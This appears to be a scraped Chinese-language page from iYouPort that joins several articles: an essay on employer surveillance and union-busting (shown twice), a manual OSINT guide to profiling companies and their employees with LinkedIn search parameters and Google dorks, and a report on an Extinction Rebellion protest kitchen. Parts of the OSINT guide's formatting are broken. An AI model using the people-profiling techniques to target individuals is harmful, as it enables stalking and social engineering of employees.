2013年，Nordstrom 百货公司因在顾客身上采用跟踪技术而备受抨击。该公司收集了自动连接到 Wi-Fi 和支持蓝牙的手机单独的MAC地址（设备的指纹），然后将其无限期地存储在公司的服务器中。

然而，鲜为人知的是，**Nordstrom** 公司也在其员工身上使用了该监视技术。Euclid Analytics 是由 Nordstrom 于2013年签约并于2019年被 WeWork 收购的公司，它们提供了空间分析技术，以监视员工的行为声称提高生产力。

RetailNext 总部位于加利福尼亚州圣何塞，它是另一家专门开发帮助老板监视其工人的技术的公司。该公司销售使大型零售商能够收集和分析其员工数据的技术。

与 RetailNext 签约的公司使用称为“方向映射”的技术，可以分析其员工在商店中的移动方式和行为方式以及与客户的互动方式。

雇主可以将此工具与 “频繁的高分辨率快照” 结合使用，以查看产品和资产在整个商店中的放置方式，同时还可以在整个日常工作流程中监视员工的一举一动。

根据其网站，Ulta、Sephora 和 Bloomingdales 都是使用这些技术的众多零售商之一。

还有至少一个 Sprouts Farmers Market 超市安装了类似的技术。“每

次签到时您都必须看着监视摄像机，它会为您拍照，这将是您打卡的证据，” 加利福尼亚惠特尔的 Sprouts 雇员 Paul Packer 说。

据称，他的一位同事对该公司在商店中使用该监视技术的行为提起了诉讼。

Packer 说：“有一个诉讼正在审理中，因为它（人脸识别技术）正在拍摄人的照片，并且由于照片的背景中还有其他人，因此从技术上讲，他们正在被未经同意地监视。”

他告诉 Truthout，一直都有关于监视记录的传闻流传，但由于员工并不了解有关监视技术的信息，因此无法得知。

还有其他多家公司提供高科技工具来跟踪和收集有关工人的数据。

例如，沃尔玛（Walmart）从 Everseen AI 购买了监视技术，该技术使用面部识别来监视工人、顾客、以及库存的物品。

2017年，仅在美国，沃尔玛就在至少1000家商店中安装了 Everseen AI 的面部识别技术。

特别令人烦恼的是监视工人的意图。老板们相信工人天生就不值得信任，他们在监控技术上花费了大笔的金钱，旨在岁数跟踪工人的一举一动。

Everseen AI 的创始人 Alan O’Herlihy 说，创立公司的动力是基于对他自己的员工的不信任，他回忆说，他父亲的杂货店“多年来遭受了太多损失，我们甚至开玩笑说我们的一位收银员用他偷来的钱都能盖栋楼了。”

至于AI技术本身，O’Herlihy 说，“随着时间的推移，它会变得更加智能，能随时了解其所在的每家商店的详细信息”，包括商店的空间布局、客户购物模式、和员工行为。

尽管有 O’Herlihy 的主张，沃尔玛员工还是于2020年1月向WIRED记者发送电子邮件，谴责该技术，并指出该技术存在缺陷并产生了错误的结果。

由于第二次世界大战后工作场所技术的进步，劳动者的生产力猛增。但是直到1973年，工资增长幅度依然很小，产量猛增，工资却停滞不前。

自1978年以来，**CEO**的工资增长了**970**%，是普通工人的近**300**倍。当公司通过这些技术增加利润时，工人的工资却没有相应增加。相反，这些利润直接进入了企业高管的腰包。

跟踪技术像联盟破坏一样，永远不会种族中立

「图」

亚马逊全食超市的监视收集的第二组指标用于衡量公司认为导致工人参加工会的因素。这些指标包括“多样性指数”，该指数对每家店员工的种族和种族多样性进行了排名。

据该公司称，多样性越低，工会联合起来抵抗的可能性就越高 —— 这些资本家称之为风险。乍看之下，这似乎令人震惊，但公司实际上拥有悠久的利用种族差异打破工人团结和破坏联盟的历史。

因此，毫不奇怪，公司必需建立在内部种族偏见之上，以防止工人采取集体行动。

Dianne Feeley 描述了 Henry Ford 与底特律汽车工人的斗争，工人们试图结成工会发起抗议并赢得更好的工作条件。尽管其他汽车制造公司较早地组建了工会，但福特一直能够抵制这些工会，直到**1941**年。

Feeley 指出：“为了与日益好战的劳工相抗衡，他聘请了 Harry Bennett 指导福特汽车公司的服务部门，该部门负责对工人的监视。”他们监视工人不仅是为了提高工人的生产力，尤其是要扼杀工人集体组织反抗的任何努力。

当时，汽车制造公司没有雇用黑人工人。利用这次危机的机会，福特汽车公司雇用了一大批黑人工人，他们希望这些黑人工人愿意接受比他们的白人同事以更低的薪水和更恶劣更危险的工作条件。

他们的第二个也是最重要的动机是：要打破以前在全白人劳动力中诞生的工会努力。

起初的确起作用了。工会的反抗努力严重受阻，黑人工人和做同样工作的白人工人之间的薪水差异为11%。而最终，黑人和白人工人站到了一起成功组建了工会，并于1941年签署了他们的第一份合同。

工作场所监视源于奴隶制和现代国家

「图」

1750年，牙买加和巴巴多斯那些富裕的奴隶主会对受奴役的工人进行细致入微的跟踪和监视，以最大限度地提高他们的生产效率。今天商学院所说的“科学管理”，其实正是源于跨大西洋的奴隶贸易。

种植园主决心从被奴役的工人身上榨取最后一点劳动力，他们一丝不苟地跟踪、记录和分析工人的一举一动，以便最大限度地提高生产力和利润。

哈佛商学院的研究人员 Caitlin Rosenthal 认为，在一位名叫 Thomas Affleck 的奴隶主将这些监视技术推进到包括“复杂的计算”、“以标准化的方式衡量生产力”，从而使“种植园主能够确定他们可以将工人推到什么程度，以获得最大的利润”之后，这些技术便在全国范围内被广泛采用。

经过多年的资本主义发展，今天的种植园主和资本主义高管们已经掌握了更多的智能技术，可以在一毫秒内做到 Affleck 曾经只用眼睛和手写所能做到的一切。

今天企业对工人的高科技监控，无疑源于这种对被奴役工人进行细致入微的追踪以便从他们身上榨取最大的利益、尤其是平息潜在的反抗和集体行动的悠久历史。

正如奴隶制从其动产形式到今天的监狱形式都与国家紧密相连一样，无处不在的监视也是国家长期以来所实行的。Rob Lucas 指出，从一开始，”现代国家就是一种信息收集工具”，“随着有了机械的、然后是电子的数据存储和处理手段，它们只是促进了早已发生的事而已”。

数据处理的自动化是现代管理者对劳动力进行监视的一种重要实践，实际上源自 Hollerith 打孔卡，IBM做的这东西不仅用于纳粹集中营，而且还用于美国经营的日裔美国人拘留营。

- 《纳粹和你》
- 《“你有多法西斯？”》

并不是监视技术引发的追踪和控制工人的愿望，相反，这种冲动自一个阶级社会的形成以来就存在了，其中一个小团体拥有生产资料并负责从另一大团体（即他们的工人）中获取价值。

在那种增长等于生存的代名词的经济体系中，老板们必须使用所有可

用的工具来从他们的工人身上获得尽可能多的生产力和价值。

监视技术和算法技术的进步只是煽动了资本主义的欲望，使监视渗透到工人生活的每一个细节。

关于新奴隶制，有一本书推荐，也许对中国的劳工运动能有所帮助。您可以在这里下载：https://www.patreon.com/posts/39199047

解决方案

「图」

工会的反抗已经能够在合同中赢得一些监视技术方面的监管法规，例如“知情权”条款，该条款要求公司告知工人如何进行监视以及如何收集数据。

但是，这些保护措施太少且太不平等，大多数工人无权知道自己是如何被跟踪的，更不用说对所采用技术有什么发言权了。

2018年，加利福尼亚州通过了一项具有里程碑意义的消费者和工人隐私法案，称为《加利福尼亚消费者隐私法案》（CCPA）。

CCPA 概述了针对工人和消费者的几种隐私和数据保护措施，尽管在2019年，一项由科技行业支持的法案试图将工人从CCPA 的权力保护范围中删除出去，最终成功做到了，直到2021年1月。大多数工会和非工会工人对于老板使用何种监视技术没有任何发言权。

那么，现在该怎么办？一种建议是争取工人控制其工作场所中使用的技术的合法权利。这将意味着能够彻底禁止诸如面部识别技术之类的侵入性监视工具，并能够规范决策中算法的使用。

这也意味着根据《国家劳动关系法》将使侵入性监视成为非法，并允许国家劳动关系委员会调查和纠正侵权行为。

这将使民主的工人们拥有更多的工作控制权。这种决策可以在部门谈判的水平上进行，以便工人能够设定通用于整个行业的标准，而不仅仅是在自己工作的商店中。

“如果要使这些技术对工人有用而不是伤害他们，我们就必须弄清楚治理问题”，加州大学伯克利分校低薪工作计划主任 Annette Bernhardt 博士说，“无论是通过集体谈判、通过立法、还是我们尚未想到的新机制，员工都必须对使用哪种技术、达到什么目的有直接的

发言权。”

随着**COVID-19**的蔓延，寡头科技公司一直在利用这场危机，向企业出售诸如跟踪手环之类的监视技术，这些手环最初是为警察监视犯人而开发的，现在却被雇主用来跟踪其工人的一举一动。

- 《冠状病毒危机究竟是否能够结束？：威权主义的权衡》

国有公司和私营公司已经密切交织在一起，以至于如果想要在一个地区规范技术的使用将需要整个社会的转变。

另一方面，任何长期解决方案都需要从侵入式工人监视和所谓的科学管理的根本原因入手。这将需要深入研究为什么这些老板如此积极地从工人身上榨取最后一滴利润的原因，以及动产奴隶制仍然对当今的工作条件和行业产生影响的原因。

如果我们的社会只是围绕对不断增长的利润的渴望而组织起来，那么像亚马逊 Whole Foods 那样的公司将继续监视工人，以打破工人的任何联合，并使他们受到越来越侵入性的监视和控制。〇

Worker Surveillance Is on the Rise, and Has Its Roots in Centuries of Racism

原文

如今每个打工者都是奴隶 …… 高科技动产奴隶制如何扼杀反抗 - iYouPort

你应该了解的现实

这一形式的剥削和对反抗的扼杀从18世纪蔓延至今，数字技术只是新添加的工具而已。如何摆脱奴役？

「图」

「图」

随着技术的进步，全球最大的公司每时每刻都在注视着所有人。高科技的工作场所监视使正在组织工会的工人们深感困扰，他们现在不仅要照顾管理工作，而且还要随时担心那堆无所不知的机器。

但是，由于围绕工作场所技术使用的公众讨论都集中在自动化上了，人们只是担心机器会取代自己的工作，却没有发现，整个技术领域都在发展，尤其是监视技术，公司可以对所有工人进行无时无刻的监视，以管理他们的生产力、做出雇用和晋升决定、甚至预测他们的健康结果。

- 《你的老板可能是比 Facebook、谷歌更大的老大哥》

根据 Business Insider 的最新报告，亚马逊旗下的 Whole Foods（全食超市）现在正在使用交互式 “热图” 来跟踪工会的所谓 “风险”。

监视工具使用一种简单但具有严重侵入性的方法以随时扼杀掉工人们为改善工作条件而组织起来抗议的可能性。

该热图已经被用于监视510多家商店中的 95,000 多名员工。正如 Hayley Peterson 所说：

> 所谓的个人风险评分是根据二十多个指标计算得出的，其中包括员工的 “忠诚度”、营业额、甚至包括种族差异 …… 该热图还跟踪了当地的经济和人口因

素，例如商店所在地的失业率以及生活在贫困线以下的家庭的百分比。

随着公司和政府加大对 **COVID-19** 大流行和自**1960**年代以来最大规模的全国抗议运动的监视力度，这一问题已经尤其重要。

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱：长篇报告》
- 《警察用哪些监视方式瞄准抗议者？》
- 《需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络》
- 《如何识别抗议活动中可见的和不可见的监视》

在如此关键的时刻，有必要让更多人了解工作场所监视的历史以及其如何被用作镇压集体组织的工具。

很多公司一直在使用先进的技术监视低薪的工人

2013年，Nordstrom 百货公司因在顾客身上采用跟踪技术而备受抨击。该公司收集了自动连接到 Wi-Fi 和支持蓝牙的手机单独的MAC地址（设备的指纹），然后将其无限期地存储在公司的服务器中。

然而，鲜为人知的是，**Nordstrom** 公司也在其员工身上使用了该监视技术。Euclid Analytics 是由 Nordstrom 于2013年签约并于2019年被 WeWork 收购的公司，它们提供了空间分析技术，以监视员工的行为声称提高生产力。

RetailNext 总部位于加利福尼亚州圣何塞，它是另一家专门开发帮助老板监视其工人的技术的公司。该公司销售使大型零售商能够收集和分析其员工数据的技术。

与 RetailNext 签约的公司使用称为“方向映射”的技术，可以分析其员工在商店中的移动方式和行为方式以及与客户的互动方式。

雇主可以将此工具与 “频繁的高分辨率快照” 结合使用，以查看产品和资产在整个商店中的放置方式，同时还可以在整个日常工作流程中监视员工的一举一动。

根据其网站，Ulta、Sephora 和 Bloomingdales 都是使用这些技术的众多零售商之一。

还有至少一个 Sprouts Farmers Market 超市安装了类似的技术。“每次签到时您都必须看着监视摄像机，它会为您拍照，这将是您打卡的证据，” 加利福尼亚惠特尔的 Sprouts 雇员 Paul Packer 说。

据称，他的一位同事对该公司在商店中使用该监视技术的行为提起了诉讼。

Packer 说：“有一个诉讼正在审理中，因为它（人脸识别技术）正在拍摄人的照片，并且由于照片的背景中还有其他人，因此从技术上讲，他们正在被未经同意地监视。”

他告诉 Truthout，一直都有关于监视记录的传闻流传，但由于员工并不了解有关监视技术的信息，因此无法得知。

还有其他多家公司提供高科技工具来跟踪和收集有关工人的数据。

例如，沃尔玛（Walmart）从 Everseen AI 购买了监视技术，该技术使用面部识别来监视工人、顾客、以及库存的物品。

2017年，仅在美国，沃尔玛就在至少1000家商店中安装了 Everseen AI 的面部识别技术。

特别令人烦恼的是监视工人的意图。老板们相信工人天生就不值得信任，他们在监控技术上花费了大笔的金钱，旨在岁数跟踪工人的一举一动。

Everseen AI 的创始人 Alan O’Herlihy 说，创立公司的动力是基于对他自己的员工的不信任，他回忆说，他父亲的杂货店“多年来遭受了太多损失，我们甚至开玩笑说我们的一位收银员用他偷来的钱都能盖栋楼了。”

至于AI技术本身，O’Herlihy 说，“随着时间的推移，它会变得更加智能，能随时了解其所在的每家商店的详细信息”，包括商店的空间布局、客户购物模式、和员工行为。

尽管有 O’Herlihy 的主张，沃尔玛员工还是于2020年1月向WIRED记者发送电子邮件，谴责该技术，并指出该技术存在缺陷并产生了错误的结果。

由于第二次世界大战后工作场所技术的进步，劳动者的生产力猛增。但是直到1973年，工资增长幅度依然很小，产量猛增，工资却停滞不前。

自1978年以来，CEO的工资增长了970%，是普通工人的"近300倍"。当公司通过这些技术增加利润时，工人的工资却没有相应增加。相反，这些"利润"直接进入了企业高管的腰包。

跟踪技术像联盟破坏一样，永远不会种族中立

亚马逊全食超市的监视收集的第二组指标用于衡量公司认为导致工人参加工会的因素。这些指标包括“多样性指数”，该指数对每家店员工的种族和种族多样性进行了排名。

据该公司称，多样性越低，工会联合起来抵抗的可能性就越高 —— 这些资本家称之为风险。乍看之下，这似乎令人震惊，但公司实际上拥有悠久的利用种族差异打破工人团结和破坏联盟的历史。

因此，毫不奇怪，公司必需建立在内部种族偏见之上，以防止工人采取集体行动。

Dianne Feeley 描述了 Henry Ford 与底特律汽车工人的斗争，工人们试图结成工会发起抗议并赢得更好的工作条件。尽管其他汽车制造公司较早地组建了工会，但福特一直能够抵制这些工会，直到1941年。

Feeley 指出：“为了与日益好战的劳工相抗衡，他聘请了 Harry Bennett 指导福特汽车公司的服务部门，该部门负责对工人的监视。”他们监视工人不仅是为了提高工人的生产力，尤其是要扼杀工人集体组织反抗的任何努力。

当时，汽车制造公司没有雇用黑人工人。利用这次危机的机会，福特汽车公司雇用了一大批黑人工人，他们希望这些黑人工人愿意接受比他们的白人同事以更低的薪水和更恶劣更危险的工作条件。

他们的第二个也是最重要的动机是：要打破以前在全白人劳动力中诞生的工会努力。

起初的确起作用了。工会的反抗努力严重受阻，黑人工人和做同样工作的白人工人之间的薪水差异为11%。而最终，黑人和白人工人站到了一起成功组建了工会，并于1941年签署了他们的第一份合同。

工作场所监视源于奴隶制和现代国家

1750年，牙买加和巴巴多斯那些富裕的奴隶主会对受奴役的工人进行细致入微的跟踪和监视，以最大限度地提高他们的生产效率。今天商

学院所说的“科学管理”，其实正是源于跨大西洋的奴隶贸易。

种植园主决心从被奴役的工人身上榨取最后一点劳动力，他们一丝不苟地跟踪、记录和分析工人的一举一动，以便最大限度地提高生产力和利润。

哈佛商学院的研究人员 Caitlin Rosenthal 认为，在一位名叫 Thomas Affleck 的奴隶主将这些监视技术推进到包括“复杂的计算”、“以标准化的方式衡量生产力”，从而使“种植园主能够确定他们可以将工人推到什么程度，以获得最大的利润”之后，这些技术便在全国范围内被广泛采用。

经过多年的资本主义发展，今天的种植园主和资本主义高管们已经掌握了更多的智能技术，可以在一毫秒内做到 Affleck 曾经只用眼睛和手写所能做到的一切。

今天企业对工人的高科技监控，无疑源于这种对被奴役工人进行细致入微的追踪以便从他们身上榨取最大的利益、尤其是平息潜在的反抗和集体行动的悠久历史。

正如奴隶制从其动产形式到今天的监狱形式都与国家紧密相连一样，无处不在的监视也是国家长期以来所实行的。Rob Lucas 指出，从一开始，”现代国家就是一种信息收集工具”，“随着有了机械的、然后是电子的数据存储和处理手段，它们只是促进了早已发生的事而已”。

数据处理的自动化是现代管理者对劳动力进行监视的一种重要实践，实际上源自 Hollerith 打孔卡，IBM做的这东西不仅用于纳粹集中营，而且还用于美国经营的日裔美国人拘留营。

- 《纳粹和你》
- 《“你有多法西斯？”》

并不是监视技术引发的追踪和控制工人的愿望，相反，这种冲动自一个阶级社会的形成以来就存在了，其中一个小团体拥有生产资料并负责从另一大团体（即他们的工人）中获取价值。

在那种增长等于生存的代名词的经济体系中，老板们必须使用所有可用的工具来从他们的工人身上获得尽可能多的生产力和价值。

监视技术和算法技术的进步只是煽动了资本主义的欲望，使监视渗透到工人生活的每一个细节。

关于新奴隶制，有一本书推荐，也许对中国的劳工运动能有所帮助。您可以在这里下载：https://www.patreon.com/posts/39199047

解决方案

工会的反抗已经能够在合同中赢得一些监视技术方面的监管法规，例如“知情权”条款，该条款要求公司告知工人如何进行监视以及如何收集数据。

但是，这些保护措施太少且太不平等，大多数工人无权知道自己是如何被跟踪的，更不用说对所采用技术有什么发言权了。

2018年，加利福尼亚州通过了一项具有里程碑意义的消费者和工人隐私法案，称为《加利福尼亚消费者隐私法案》（CCPA）。

CCPA 概述了针对工人和消费者的几种隐私和数据保护措施，尽管在2019年，一项由科技行业支持的法案试图将工人从CCPA 的权力保护范围中删除出去，最终成功做到了，直到2021年1月。大多数工会和非工会工人对于老板使用何种监视技术没有任何发言权。

那么，现在该怎么办？一种建议是争取工人控制其工作场所中使用的技术的合法权利。这将意味着能够彻底禁止诸如面部识别技术之类的侵入性监视工具，并能够规范决策中算法的使用。

这也意味着根据《国家劳动关系法》将使侵入性监视成为非法，并允许国家劳动关系委员会调查和纠正侵权行为。

这将使民主的工人们拥有更多的工作控制权。这种决策可以在部门谈判的水平上进行，以便工人能够设定通用于整个行业的标准，而不仅仅是在自己工作的商店中。

“如果要使这些技术对工人有用而不是伤害他们，我们就必须弄清楚治理问题”，加州大学伯克利分校低薪工作计划主任 Annette Bernhardt 博士说，“无论是通过集体谈判、通过立法、还是我们尚未想到的新机制，员工都必须对使用哪种技术、达到什么目的有直接的发言权。”

随着**COVID-19**的蔓延，寡头科技公司一直在利用这场危机，向企业出售诸如跟踪手环之类的监视技术，这些手环最初是为警察监视犯人而开发的，现在却被雇主用来跟踪其工人的一举一动。

- 《冠状病毒危机究竟是否能够结束？：威权主义的权衡》

国有公司和私营公司已经密切交织在一起，以至于如果想要在一个地区规范技术的使用将需要整个社会的转变。

另一方面，任何长期解决方案都需要从侵入式工人监视和所谓的科学管理的根本原因入手。这将需要深入研究为什么这些老板如此积极地从工人身上榨取最后一滴利润的原因，以及动产奴隶制仍然对当今的工作条件和行业产生影响的原因。

如果我们的社会只是围绕对不断增长的利润的渴望而组织起来，那么像亚马逊 Whole Foods 那样的公司将继续监视工人，以打破工人的任何联合，并使他们受到越来越侵入性的监视和控制。〇

Worker Surveillance Is on the Rise, and Has Its Roots in Centuries of Racism

原文

如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索 - iYouPort

你应该了解的现实

这里是一套思路，不使用任何自动化工具也能做到

「图」

「图」

求职网站是泄漏信息最多的地方之一，因为很多人寄希望于在此寻求真实的工作机会和聘请到“真实”的人，于是他们会努力将自己的真实信息放在这里。

于是求职网站是开源情报调查的金矿。

不仅求职者，用人单位的资料也是非常多汁的情报资源，是许多调查的关键部分。用例非常广泛，比如 公司尽职调查、聘用前筛选、内部威胁识别等等 …… 几乎是你能想到的一切。

学习如何根据您的用例有效地查找和收集信息，以进行分析，是本文的重点关注方向。

这里将重点关注 LinkedIn 高级搜索和导航，同时还会查看其他数据点以支持您的调查。

的确有一些很棒的工具（免费的和商业性的）可用于自动执行此过程，但是，本文将着重于如何手动实现此过程 —— 因此我们不依赖工具，也就是说没有高门槛，即便您对此技术一无所知，也可以做到。

收集计划

制定收集计划是很重要的。有许多方面与调查无关需要排除，因此该结构应该是一些信息点的指南可以将强大的目标概况报告结合在一

起。

「图」

「图」

现在您有了一些想要收集哪些东西的想法，下一步就是需要知道在哪里可以找到这些信息。

将这一想法分为几个部分，并查看您可以定位的一些数据源的样本。该列表可能不全面，但肯定能提供一个起点和可重复的工作流程。

「图」

「图」

公司概述很重要。在深入研究其他来源之前，在这里从宏观角度了解公司。这样做的原因是，您将在这里获得可能在整个微观的调查工作中被掠过的不同信息。

「图」

「图」

了解公司结构对于理解组织管理和员工结构的工作方式非常重要。

「图」

「图」

招聘途径—对于那些可能想了解如何在基层影响组织的人来说，这点是经常被忽略的。对教育经历的调查经常可以展示其文化的内在方面、外部影响的脆弱点，以及地域方面的特征。

例如，如果您正在研究组织中潜在的基层影响力，并且大多数员工来自特定的教育机构，那么它可以提供针对文化主题的挖掘机会（比如校友关系和忠诚度等）。

「图」

「图」

专业关系网络通常不同于私人关系网络。比较私人关系网络与专业关

系网络会很有用，以识别可能因私人关系而影响公司运作的关键连接。

如果您准备查看收购和合并的信息，了解基于私人关系影响的任何潜在风险或威胁，这一点也很重要。

「图」

「图」

情感分析包含三个主要的子成分。媒体在报道什么、公众在宏观级别通过社交媒体陈述了什么、以及在特定地理位置发生了什么，在此收集信息进行分析很重要。

「图」

「图」

通常会被忽略但非常有用的是绘制公司的技术概况，尤其是基础设施所处的位置（数据主权方面的考虑等等），以及是否存在任何可识别的非法活动，例如在公司网络上进行的洪流下载，可能会导致尴尬。

以上是概况。

高级 LinkedIn 搜索

一旦您对要收集的内容有了充分的了解，就可以详细了解如何进行此操作。

搜人 ——

筛选器

开始在 LinkedIn 上搜索人员时，通常很方便地直接转到右侧部分，这样就不会合并结果，即 只找人而无关公司。

转到此URL将允许您直接搜索人员：https://www.linkedin.com/search/results/people/

一旦有了一个不错的起点，下一步就是使用 “All Filters” 按钮，这样您就可以开始应用详细的搜索条件，并将数百万潜在用户减少到您的目标需求范围内：

「图」

「图」

现在，您将看到一堆可以开始使用的过滤器。但是，能快速获得结果的关键过滤器并不总是很明显。向下滚动一点，您将看到以下框：

「图」

「图」

在此过滤器框中搜索将为URL添加易于重复的参数。例如，如果您在“公司”框中搜索“ Microsoft”，它将构建如下搜索URL：

https://www.linkedin.com/search/results/people/?company＝Microsoft&origin＝FACETED_SEARCH

您会注意到 “company ＝ Microsoft” 部分。您可以自己修改它，而不必通过过滤器框。如果要自动化脚本，这可以提高效率。就如我们曾经演示过的 Facebook 新图谱搜索那样。

相同的概念适用于：

- title＝「job title」
- firstName＝「first name」
- lastName＝「last name」
- school＝「school」

例如，如果您想对某些搜索进行编制，以下是一个例子，以查找职位为 “ Director”、名为“ John Smith”、在 “Microsoft” 工作过、并来自“哈佛”的人：

https://www.linkedin.com/search/results/people/?company＝Microsoft&firstName＝John&lastName＝Smith&s

稍微回顾一下，您会发现已经有一个进一步寻找公司的过滤器。有时会受到限制，这是因为并非所有组织都在 LinkedIn 上宣传其公司，但其员工可能仍在此宣传他们在该公司工作。

使用这个过滤器您将得到类似下面这个URL的搜索结果：

https://www.linkedin.com/search/results/people/?

facetCurrentCompany＝%5B”1035″ %5D&origin＝FACETED_SEARCH

应该注意到URL中的公司ID为1035。这是LinkedIn用来在其数据库中引用的公司ID。当您搜索具有相同名称或通用名称的组织、并且想要确保搜索与单个组织相关时，ID会比名字更有用。

这是需要理解的重要区别，建议您比较以下两个结果：#使用 company ＝ Microsoft 方法进行人员搜索产生的结果为241591。

- 使用顶部的公司特定搜索框进行搜索，然后选择 Microsoft 作为公司名，产生的结果是 154686人。

1. “en” English

- “zh” Mandarin
- “de” German
- “it” Italian
- “ko” Korean
- “no” Norwegian
- “pl” Polish
- “pt” Portuguese
- “ru” Russian
- “es” Spanish
- “sv” Swedish
- “tr” Turkish
- “cs”Czech
- “nl” Dutch
- “fr” French
- “da” Danish

1. https://www.linkedin.com/search/results/people/?countryCode＝"「2 letter code」**&distance**＝「distance」**&keywords**＝「keywords」**&postalCode**＝「zip/postcode」**&title**＝「job title」 ***Example to find paralegals who are 30mi from Sydney, Australia (postcode 2000): https://www.linkedin.com/search/results/people/?countryCode＝au&distance＝30&keywords＝legal&am**
#**https://www.linkedin.com/search/results/companies**
***https://www.linkedin.com/search/results/companies/?keywords＝「company name」** #在“悉尼”范围内找

到“Microsoft”的“副总裁” —— *site:linkedin.com/in OR site:linkedin.com/pub intitle:”Vice President” AND intitle:”Microsoft” AND “Sydney”* *查找在“Microsoft”工作的说“普通话”的名为“ Jane”的人 —— *site:linkedin.com/in OR site:linkedin.com/pub “Jane” AND intitle:”Microsoft” AND (intext:”Language*” AND “Mandarin”)* *查找在“新南威尔士大学”学习过的“Microsoft”的“副总裁” —— *site:linkedin.com/in OR site:linkedin.com/pub intitle:”Vice President” AND intitle:”Microsoft” AND (“Education” AND “UNSW”)* #www.skymem.info *hunter.io #财务业绩和股东结构：https://www.marketscreener.com/ *专业关系：https://relationshipscience.com/ *有关公司的信息数据库：https://opencorporates.com/ *OCCRP Alpha 是获取有关组织的深层信息的绝佳资源：https://aleph.occrp.org/ *情绪分析：https://brand24.com/ 有成千上万个站点提供不同级别的信息，但通常来说最好能有一个集中的列表，这样您就不会迷失方向了。但是这些资源中的许多可能包含错误信息，因此，请尽可能多地交叉引用和验证信息。 尤其建议您擅长使用 Google Dorking，它通常可以提供很多非常详尽的信息。尝试其中的一些，比如下面这样，看看您发现了什么：*site:microsoft.com filetype:pdf OR filetype:doc OR filetype:docx AND “annual” AND (“general” OR “report” OR “meeting”)* !!!结论 这里介绍的分析是许多调查和研究工作所必需的。事实上无需使用自动化工具，也不需要努力与平台服务条款保持一致，这意味着您可以在操作中创造可重复的成功。 当然，有不少自动化工具可以处理许多这些任务，但是本文的重点放在手动技术和可持续方法上。因此您会知道自己的调查可以拥有很多选择（尤其是在自动化工具忽然废掉的时候）。 好了就是这样。希望能帮助您的调查更顺利。〇 广告 原文

如何喂饱抗议者？- 走进 反叛厨房 - iYouPort

你应该了解的现实老大哥的真面目

对抗议运动的观察只能集中在催泪瓦斯和橡皮子弹上吗？不一定。本文将换一个角度……

「图」

「图」

去年爆发的抗议活动是全球性的，黎巴嫩、伊拉克、约旦、埃及、阿尔及利亚、苏丹、智利，玻利维亚，厄瓜多尔，委内瑞拉、海地、法国、津巴布韦、印度尼西亚、巴基斯坦、英国、香港…… 您可以在这里看到：《 “智能镇压”时代 》。

仅伦敦就至少有1300多人被捕。

但这篇文章并没有聚焦镇压。相反，它思考了一个创意行动的模版。

- 不要错过 《 " 技术如何塑造21世纪的创造性抗议？ " 》

运行在抗议营地中间的厨房带来了一些不寻常的操作挑战。

“目前我们正在现场烹饪大部分热食 …… 但警察不断跑来收拾我们的东西”，George Coiley 说，他带领我经过沸腾的炉灶水壶、锅具和两名志愿者准备的史诗般的水果沙拉。

这是 Coiley 经营的第四个 “反叛厨房”，它是大约30名志愿者组成的轮值小组， 每天24小时为抗议者和其他需要的人提供食物和热饮 。

所有食物都是纯素食主义风格的，都是通过捐赠筹集的。

“这本身就是一种政治行动，” Coiley 说，他是个聪明的年轻人，他正在攻读可持续食品专业博士学位。

“这里有些人不认为自己是维权人士，只是觉得自己走进这个厨房感

觉很舒适。听起来很基本，但我认为这确实令人鼓舞。”

「图」

「图」

与他们试图解决的巨大的生存问题相比，如何喂饱一群抗议者，或者甚至是成千上万的激进主义者，似乎显得微不足道。但是它们并非无关紧要。

我们的饮食与气候危机密不可分：人类排放的大约30%与从生产到消费的食物有关。 我们的饮食选择本身就是政治性的。

愤世嫉俗的人经常以食物为主题对反叛厨房活动家吹毛求疵。愚蠢的挑剔可能会突显出有关个人责任重要性的关键问题，即 您想要在世界上看到的变化与全局结构变化之间的关系。

Coiley 不论是在学术工作中还是在特拉法加广场（Trafalgar Square）的 “反叛厨房” 做饭期间都在考虑这一点。

他说：“我们正在努力帮助人们看到一个不同的世界，在这里，我们所有人都可以食用营养丰富且可持续的食物，这种食物既无害，也可以获得享受。”

Coiley 认为良好的烹饪可以表明 “我们不需要牛排就能度过美好的时光。”

反叛厨房在四个凉亭中，这些凉亭有定制的篷布和许多胶带。挂在外面的白板上写着愿望清单，上面列出了橘子、香蕉、咸味小吃、鹰嘴豆泥和自制素食蛋糕及零食。

人们通过手机拍照，然后捐赠。大箱子专用于从调味料到干果、豆类到蔬菜、以及各种纯素食和非纯素食饼干的形形色色的产品。

在帐篷的服务端，小扁豆和蔬菜咖喱装在20升的保温瓶中，还有很多面包和沙拉用的平底锅。后面还有一个由志愿者经营的洗手台。这里禁止一次性餐具以避免白色污染。

「图」

「图」

当我们走出厨房进入特拉法加广场时，那里的场面完全不像抗议，而是像某种庆典。色彩鲜艳的衣服、旗帜和传单照亮了灰色人行道和灰色天空之间的一切。人群散发出正义的愤怒和热情。

- 《2、 分布式行动的街头派对 》

营地包括由反叛活动家占领的一百多个帐篷，以及专用于分享有关气候变化、维权人士福祉、和被捕者支持信息的大型帐篷。

根据最新统计，这场抗议活动中在伦敦已有1300多人被捕。

这里有一个书店帐篷、还有一个艺术帐篷，您可以在这里把 Extinction Rebellion 的标志印在衣服上，一个手鼓，一群草裙舞、还有一群人在唱歌，向人群传递着激昂的声音。当然，还有一个十英尺高的粉红色章鱼。

在特拉法加广场营地之外，Extinction Rebellion 组织了整个伦敦的一系列自发性抗议行动，通常涉及示威者将自己绑在门、建筑物甚至飞机上。

反叛厨房负责向这些抗议者提供食品，包括谷物棒、苹果、年糕、饼干、花生酱、干果和面包卷。骑自行车的志愿者跑来跑去，运送热食和热茶，在这个经常下雨的城市里很受欢迎。

就在米尔班克河对岸，离军情五处大楼不远的地方，几百名活动家封锁了街道以示抗议。

一名活动家 Miranda 是戴着墨镜的中年妇女，站在马路边吃着椰枣，看着她的同伴爬上一辆警车。

她对在示威期间提供食物的经验非常积极。她说：“我是素食主义者，而我一生中从未吃过如此多的素食。这些食物太棒了 ... 我体重增加了。”

另一名抗议者解释说，一些激进活动家通过完全不吃东西来抗议。

“ 今天有些人开始绝食，但现在他们称之为空腹行动 ，” Emma 说，她正在寻找其他抗议者，他们被困在兰贝斯桥北侧。7月，38岁的医生 Cliff Kendall 完成了为期15天的绝食抗议，以支持这项运动。

「图」

「图」

抗议期间提供充足的食物也可以鼓舞士气 。

“在这里你能感受到很好的照顾，” 与一群音乐家站在一起的另一名抗议者 Leonie 说。

